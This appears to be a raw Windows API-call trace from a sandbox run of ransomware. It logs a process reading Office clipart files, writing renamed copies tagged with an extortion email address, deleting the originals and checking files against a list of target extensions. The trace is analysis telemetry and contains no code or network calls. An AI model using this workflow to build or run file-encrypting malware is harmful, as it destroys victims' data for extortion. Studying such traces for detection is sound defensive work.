	[0085.754] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.754] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.754] CloseHandle (hObject=0x2d0) returned 1
	[0085.754] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.754] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.755] CloseHandle (hObject=0x2fc) returned 1
	[0085.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1
	[0085.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.756] lstrlenW (lpString=".doc") returned 4
	[0085.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.756] lstrlenW (lpString=".docx") returned 5
	[0085.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.756] lstrlenW (lpString=".pdf") returned 4
	[0085.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.756] lstrlenW (lpString=".xls") returned 4
	[0085.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.756] lstrlenW (lpString=".xlsx") returned 5
	[0085.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.756] lstrlenW (lpString=".ppt") returned 4
	[0085.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.756] lstrlenW (lpString=".zip") returned 4
	[0085.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.756] lstrlenW (lpString=".rar") returned 4
	[0085.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.756] lstrlenW (lpString=".bz2") returned 4
	[0085.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.756] lstrlenW (lpString=".7z") returned 3
	[0085.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.756] lstrlenW (lpString=".dbf") returned 4
	[0085.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.756] lstrlenW (lpString=".1cd") returned 4
	[0085.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.756] lstrlenW (lpString=".jpg") returned 4
	[0085.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.757] lstrlenW (lpString=".doc") returned 4
	[0085.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.757] lstrlenW (lpString=".docx") returned 5
	[0085.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.757] lstrlenW (lpString=".pdf") returned 4
	[0085.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.757] lstrlenW (lpString=".xls") returned 4
	[0085.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.757] lstrlenW (lpString=".xlsx") returned 5
	[0085.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.757] lstrlenW (lpString=".ppt") returned 4
	[0085.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.757] lstrlenW (lpString=".zip") returned 4
	[0085.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.757] lstrlenW (lpString=".rar") returned 4
	[0085.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.757] lstrlenW (lpString=".bz2") returned 4
	[0085.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.757] lstrlenW (lpString=".7z") returned 3
	[0085.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.757] lstrlenW (lpString=".dbf") returned 4
	[0085.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.757] lstrlenW (lpString=".1cd") returned 4
	[0085.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68
	[0085.757] lstrlenW (lpString=".jpg") returned 4
	[0085.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.757] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.757] lstrlenW (lpString="DD01152_.WMF") returned 12
	[0085.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.758] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2960) returned 1
	[0085.758] CloseHandle (hObject=0x2fc) returned 1
	[0085.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220
	[0085.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.758] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.758] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.758] GetLastError () returned 0x0
	[0085.758] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xb90, lpOverlapped=0x0) returned 1
	[0085.760] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xba0, lpOverlapped=0x0) returned 1
	[0085.761] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.761] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.761] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.761] CloseHandle (hObject=0x2d0) returned 1
	[0085.761] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.761] SetEndOfFile (hFile=0x2fc) returned 1
	[0085.762] CloseHandle (hObject=0x2fc) returned 1
	[0085.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1
	[0085.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.763] lstrlenW (lpString=".doc") returned 4
	[0085.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.763] lstrlenW (lpString=".docx") returned 5
	[0085.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.763] lstrlenW (lpString=".pdf") returned 4
	[0085.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.763] lstrlenW (lpString=".xls") returned 4
	[0085.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.763] lstrlenW (lpString=".xlsx") returned 5
	[0085.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.763] lstrlenW (lpString=".ppt") returned 4
	[0085.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.763] lstrlenW (lpString=".zip") returned 4
	[0085.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.763] lstrlenW (lpString=".rar") returned 4
	[0085.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.763] lstrlenW (lpString=".bz2") returned 4
	[0085.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.763] lstrlenW (lpString=".7z") returned 3
	[0085.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.763] lstrlenW (lpString=".dbf") returned 4
	[0085.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.763] lstrlenW (lpString=".1cd") returned 4
	[0085.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.764] lstrlenW (lpString=".jpg") returned 4
	[0085.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.764] lstrlenW (lpString=".doc") returned 4
	[0085.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString=".docx") returned 5
	[0085.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.764] lstrlenW (lpString=".pdf") returned 4
	[0085.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString=".xls") returned 4
	[0085.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.764] lstrlenW (lpString=".xlsx") returned 5
	[0085.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.764] lstrlenW (lpString=".ppt") returned 4
	[0085.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.764] lstrlenW (lpString=".zip") returned 4
	[0085.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.764] lstrlenW (lpString=".rar") returned 4
	[0085.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString=".bz2") returned 4
	[0085.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString=".7z") returned 3
	[0085.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.764] lstrlenW (lpString=".dbf") returned 4
	[0085.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.764] lstrlenW (lpString=".1cd") returned 4
	[0085.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68
	[0085.764] lstrlenW (lpString=".jpg") returned 4
	[0085.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.765] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.765] lstrlenW (lpString="DD01157_.WMF") returned 12
	[0085.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.765] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3588) returned 1
	[0085.765] CloseHandle (hObject=0x2fc) returned 1
	[0085.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220
	[0085.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0085.765] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.765] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.766] GetLastError () returned 0x0
	[0085.766] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xe04, lpOverlapped=0x0) returned 1
	[0086.258] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe10, lpOverlapped=0x0) returned 1
	[0086.262] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.262] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.262] SetEndOfFile (hFile=0x2d0) returned 1
	[0086.263] CloseHandle (hObject=0x2d0) returned 1
	[0086.263] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.263] SetEndOfFile (hFile=0x2fc) returned 1
	[0086.264] CloseHandle (hObject=0x2fc) returned 1
	[0086.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1
	[0086.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.264] lstrlenW (lpString=".doc") returned 4
	[0086.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.264] lstrlenW (lpString=".docx") returned 5
	[0086.264] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.264] lstrlenW (lpString=".pdf") returned 4
	[0086.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.264] lstrlenW (lpString=".xls") returned 4
	[0086.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.264] lstrlenW (lpString=".xlsx") returned 5
	[0086.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.264] lstrlenW (lpString=".ppt") returned 4
	[0086.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.264] lstrlenW (lpString=".zip") returned 4
	[0086.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.264] lstrlenW (lpString=".rar") returned 4
	[0086.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.264] lstrlenW (lpString=".bz2") returned 4
	[0086.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString=".7z") returned 3
	[0086.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.265] lstrlenW (lpString=".dbf") returned 4
	[0086.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.265] lstrlenW (lpString=".1cd") returned 4
	[0086.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.265] lstrlenW (lpString=".jpg") returned 4
	[0086.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.265] lstrlenW (lpString=".doc") returned 4
	[0086.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString=".docx") returned 5
	[0086.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.265] lstrlenW (lpString=".pdf") returned 4
	[0086.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString=".xls") returned 4
	[0086.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.265] lstrlenW (lpString=".xlsx") returned 5
	[0086.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.265] lstrlenW (lpString=".ppt") returned 4
	[0086.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.265] lstrlenW (lpString=".zip") returned 4
	[0086.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.265] lstrlenW (lpString=".rar") returned 4
	[0086.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString=".bz2") returned 4
	[0086.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.265] lstrlenW (lpString=".7z") returned 3
	[0086.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.265] lstrlenW (lpString=".dbf") returned 4
	[0086.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.266] lstrlenW (lpString=".1cd") returned 4
	[0086.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68
	[0086.266] lstrlenW (lpString=".jpg") returned 4
	[0086.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.266] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.266] lstrlenW (lpString="DD01179_.WMF") returned 12
	[0086.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0086.266] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2024) returned 1
	[0086.266] CloseHandle (hObject=0x2fc) returned 1
	[0086.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220
	[0086.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0086.266] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.267] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0086.267] GetLastError () returned 0x0
	[0086.267] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x7e8, lpOverlapped=0x0) returned 1
	[0086.268] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x7f0, lpOverlapped=0x0) returned 1
